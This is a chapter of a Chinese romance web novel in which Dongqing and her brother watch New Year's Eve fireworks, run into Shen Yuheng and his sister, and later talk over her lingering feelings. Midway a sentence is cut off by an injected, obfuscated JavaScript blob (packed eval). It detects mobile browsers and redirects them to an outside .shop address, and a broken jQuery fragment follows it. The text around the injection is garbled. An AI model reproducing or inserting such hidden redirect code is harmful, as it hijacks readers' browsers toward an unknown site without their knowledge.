天禧九年的这个年底,过得并不平静。
在永安城百姓口中,靖平侯府老夫人离世的消息不过闲谈一两句就过去了,人们茶余饭后更津津乐道的是另一桩事——大长公主昭明公主带着芙蓉郡主回永安城了。
昭明公主是先皇与原配元贞皇后所生,元贞皇后早逝后,先皇才续娶了如今的太后,也才有了后来的天禧帝与和惠公主。
昭明公主是先皇最宠爱的长女,元贞皇后去世后,便远嫁西南异姓藩王镇南王。先帝驾崩前曾留下遗诏,昭明公主可不受规制约束随时回城。
作为备受瞩目的先帝长女,当年先帝驾崩时昭明公主都不曾回来,如今时隔近十年忽然归来,满城百姓对她的归来都议论纷纷。
有人说镇南王府出了事,有人说她是回来替先皇后扫墓的,也有人说只是年节将至回来省亲……众说纷纭,茶楼酒肆里到处都是压低了声音的议论。
不过这些都与冬青无关。
腊月里面馆的生意很好,临近除夕,街上置办年货的人络绎不绝。冬青每日忙得脚不沾地,直到腊月二十五,阿轩从宫里回来,她才放缓了手里的活计。二十八那日,她在店门口贴上红纸写的“春节休业”四个大字,锁好门,准备迎接新年。
除夕这天傍晚,冬青早早地就在灶房里忙开了。她将早就备好的食材一一取出,锅碗瓢盆叮当作响,灶膛里的火噼啪地烧着。阿轩在一旁打下手,洗菜烧火递盘子,也忙得团团转。
不多时,一桌子菜便摆满了。清炖狮子头,红烧鲤鱼,板栗烧鸡,冬笋炒腊肉,桂花糯米藕,香菇炖鸡汤,还有一碟清炒时蔬。七道菜,有荤有素,有咸有甜,摆得满满当当。
姐弟俩一边吃菜一边闲聊,阿轩说了些宫里的见闻,冬青一边听一边笑,时不时给他夹一筷子菜。
阿轩忽然放下筷子,说:“阿姐,听说今晚午门有烟火,因为大长公主回京,陛下高兴,特意放的。咱们去看看好不好?”
冬青想着除夕本是要在家中守岁的,但阿轩很少会提出什么要求,看着他那双亮晶晶的眼睛,她不忍拒绝。
索性无事,去看看也无妨,正好热闹热闹,冬青便应道:“好。那就去看看。”
出了门,街上的人比想象中还要多。姐弟俩随着人潮朝午门的方向走去,越往前走人越多,摩肩接踵,几乎挪不动步子。
阿轩眼尖,拉着冬青挤到一处石阶上站定。这个位置略高一些,能勉强看清午门前的广场。四周全是人,低语声、笑声、小贩的吆喝声混在一起,嗡嗡的一片。
忽然,人群中爆发出一阵惊呼。
“看!开始了!”
冬青抬起头。
一束金光直冲云霄,在半空中炸开,碎成万千流火。紧接着,第二束、第三束、第四束接连腾空,将整片天幕染成了一幅流光溢彩的画卷。火树银花,星河坠落,人们仰着头,欢呼声一浪高过一浪。
冬青被那璀璨的光芒映得眯了眯眼,嘴角不自觉弯了起来。身旁的阿轩兴奋地低呼,她也跟着仰头,看着一朵巨大的绯色烟花在空中缓缓绽开,又缓缓消散,像一朵盛极而衰的牡丹。
她正看得出神,身后不知是谁挤了她一下,她脚下微微踉跄,下意识地侧身稳住身形。
偏头的一瞬间,不期然与一双满含情意的眼眸对上。
不远处,隔着层层叠叠的人群和漫天流火,沈玉珩就那样站着。周围人潮涌动,欢呼声震天,可他默然站在那里,一动不动,目光穿过重重人海,直直地落在她身上,不知望了多久。
那目光温柔到极致,仿佛隔绝了一切喧嚣,世间万物都消失了,只剩下她一个人。只看一眼,似乎就要沉溺其中。
冬青忽然觉得周遭的欢呼声远了,烟火暗淡了,只剩那一双眼,隔着光与影静静凝望。
不知何时,天空飘起了雪花,莹白的雪花伴着烟火缓缓坠下。隔着熙攘的人群,二人遥遥对视。
雪花无声地落在两人之间,一片,又一片。
不知过了多久,烟花渐渐停了,人们意犹未尽地叹息着,三三两两地转身离开。
冬青这才回过神。她正要低头装作什么事也没有,忽然听到一声惊喜的呼唤:“冬青!”
沈玉清从人群中挤了出来,身后跟着沈玉珩。她走到冬青面前,脸上带着意外撞见的欣喜:“我就说看着像你!果然是你!”
冬青也回了一个微笑,客客气气地叫了一声:“沈姑娘。”
“什么沈姑娘,叫玉清姐。”沈玉清笑着摆手,随即拉过身后的沈玉珩,“我今晚好不容易把他拖出来看烟花,没想到竟碰见你了。”
沈玉珩站在一旁,微微颔首,没有说话。
雪越下越大,落在肩头很快便化成了水渍。沈玉清目光落在冬青身上,她今日穿的是一件半旧的藕荷色袄子,看着有些单薄。
她又看了一眼身侧的沈玉珩,眼睛牢牢黏在冬青身上,心中不由了然一笑。
“这雪越来越大了,你穿这么少可不行。”沈玉清一边说,一边就要解下身上的狐裘披风。
沈玉珩像是才回过神来,他伸手按住了沈玉清的手,转而解下自己身上玄色的大氅。他上前两步,将那件大氅抖开,稳稳地披在了冬青肩上。
大氅上还带着他温热的体温,一披在身上,立刻拂去了冬青肩头和后背的寒意。
冬青下意识地想退开,她张了张嘴,手已经抬起来就要推开。可他的手比她更快,隔着那层厚实的布料,轻轻按住了她的肩膀。
“天冷,”他的声音很轻,却带着一种不容拒绝的力道,“听话。”
冬青的手霎时僵在了半空。
他手掌的温度隔着几层衣料传来,分明隔得很远,却又像是烫在了她肩上。她张了张嘴,想说的话全都堵在喉间。
沈玉珩看着她,目光在她脸上停了一瞬,像是确认她不会再把大氅推下来,才慢慢地松开了手,退回了原来的位置。
脱下大氅后,冬青才看到他身上穿着一件墨色长袍。同色的腰带勾勒的他身姿挺拔如松,也让人一眼看出,他瘦了不少。
上次两人隔着门板说话,她没看到他的样子。隔了不过半月,再次见到,他竟清减了这么多。
他是真的,很难过吧。
沈玉清察觉两人之间气氛微妙,但眼看风雪愈急,不得不打断道:“雪大了,要不一起坐马车回去?我们的马车就在街口停着。”
冬青摇了摇头:“不必了,离得不远,我和阿轩走回去便好。”
沈玉清还要再劝,沈玉珩却看了
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17653103|202660||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
她一眼,微微摇头。沈玉清便住了口,笑了笑:“那好吧,你们路上小心。”
沈玉珩没有再说话,只是站在雪里,看着冬青和阿轩的身影渐渐消失在街角,才收回目光。
回程的路上,冬青神情再不似来时那般轻松,一直沉默着,心事重重的样子。
姐弟俩朝前走着,阿轩忽然转过头来唤了冬青一声:“阿姐。”
冬青抬起头:“嗯?”
“你心里,是不是还有他?”
阿轩的声音不大,却像一颗石子投进了平静的湖面。他突然的问题让冬青心中一震,心里乱了,脚步也就跟着慢了。
阿轩见此,索性停下脚步,站到冬青身前,直直看着她的眼睛道:“阿姐,曾经,我也很恨他。”
他的声音平静而坦诚:“我恨他让你伤心,恨他放任你被人欺辱却不管不顾。可后来我慢慢发现,有些事并不全是表面看上去的那样,他也不像我一直以为的那样。”
他顿了顿,笑了一下,那笑容里少了几分少年的稚气,多了几分沉稳和笃定:“更何况,他面对我们姐弟的冷脸,还一直对你锲而不舍,默默做了那么多事。”
“阿姐,爹娘走得早,从小到大都是你护着我。”阿轩的声音放轻了些,“在我心里,长姐如母。你辛苦了这么多年,我只想你幸福。不管你做什么决定,我都支持你。”
冬青的眼眶忽然有些发酸。她看着阿轩,感慨万分。嘴唇动了动,想说什么,最终却一个字也没有说出口。她抬起手,习惯性地想去摸摸他的头,手伸到半空,忽然又笑了,改为轻轻拍了拍他的肩膀。
“阿轩,”她的声音有些哑,“你真的长大了,阿姐很欣慰。”
雪越下越大了,姐弟俩并肩走在回家的路上,谁也没有再开口。可冬青心里那团被搅乱的东西,似乎被方才的那番话轻轻梳理了一遍,虽然依旧乱着,却终于不再堵得那么难受了。
正月初五,面馆重新开了门,阿轩也回了宫,冬青又开始了一如往常的日子。
沈玉珩似乎很忙,正月开始,他都没有来过面馆。
这日晚间,冬青正闭店关门,余光无意间往街对面瞥了一眼,街角的阴影里站着一个人。
天色已经暗了,但也能看清那人清瘦而挺拔的身姿。几乎是在冬青看过去的瞬间,她就认出了那是谁。
是沈玉珩。不知在那里站了多久。
冬青关门的手忽然就停住了。
她在门口站了一会儿,角落里的身影依旧未动,但透过夜色,冬青依旧能感觉到那道灼人的视线。
冬青垂下眼,手指在冰凉的门闩上停了一下,又继续之前的动作。正要彻底关上门,她忽然想起,那件玄色大氅还在她这里,一直没机会还给他。
她快步回了后院,从柜中翻出那件叠得整整齐齐的大氅,抱在怀里,快步往回走。
可等她拿了东西回来,往对街那个角落看时,那里空空荡荡,已经没有人了。
冬青抱着那件大氅,在门口站了许久。夜风吹起她鬓边的碎发,她低头看着怀里的大氅,轻轻地笑了一下,笑得有些无奈。
她转身回了屋,将那件大氅重新叠好,放回了柜子里。关上门的时候,她想,明天吧,明天若是再见到他,就还给他。